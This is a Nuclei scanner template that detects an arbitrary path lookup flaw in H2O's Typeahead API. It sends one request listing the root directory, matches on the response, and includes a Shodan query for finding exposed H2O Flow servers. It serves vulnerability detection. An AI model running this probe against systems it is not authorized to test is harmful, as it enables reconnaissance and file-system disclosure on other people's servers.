id: h2o-arbitary-file-read

info:
  name: H2O - Arbitrary Path Lookup
  author: danmcinerney,byt3bl33d3r
  severity: medium
  description: |
    H2O allows for arbitrary path lookup via it's Typehead API endpoint
  reference:
    - https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
  classification:
    cwe-id: CWE-200
    cpe: cpe:2.3:a:h2o:h2o:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"H2O Flow"
    product: h2o
    vendor: h2o
  tags: h2o-3,h2o,info-leak,lfi,misconfig,vuln

http:
  - raw:
      - |
        GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/bin"'
          - '"__meta":'
          - '"schema_name":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402206b58d4a2afdf9487e874fe9f921d40eaba1f7086005e1649705d89503e6793d902204681515873b16ba964d9bddc9dfb5296a8f488997b1869f7f6fb6f1d43ea71e3:922c64590222798bb761d5b6d8e72950